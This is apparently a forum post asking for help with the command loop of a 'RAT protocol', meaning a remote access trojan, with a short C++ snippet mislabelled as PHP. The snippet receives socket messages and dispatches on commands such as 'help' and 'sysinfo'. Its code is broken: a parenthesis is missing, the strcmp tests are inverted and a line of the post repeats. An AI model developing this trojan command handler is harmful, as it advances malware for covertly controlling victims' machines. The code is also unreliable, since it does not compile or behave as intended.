Yeah, It's a Rat Protocol. I need to know how can I recv data, Compare it and follow out the tasks.
I was able to this but something tells me this isn't an efficient way. :s
I was able to this but something tells me this isn't an efficient way. :s
PHP Code
<?php
while (true) {
iResult = recv(sockt, server_reply, sizeof(server_reply), NULL);
if (iResult == SOCKET_ERROR) {
std::cout << "ERROR " << WSAGetLastError() << std::endl;
exit(1);
}
// The Managment Protocol :
if (strcmp(server_reply, "help")) {
send_msg(sockt, "YES!");
} else if(strcmp(server_reply, "sysinfo"){
// sysinfo ( ͡° ͜ʖ ͡°)
}
else {
send_msg(sockt, "No man");
}
}

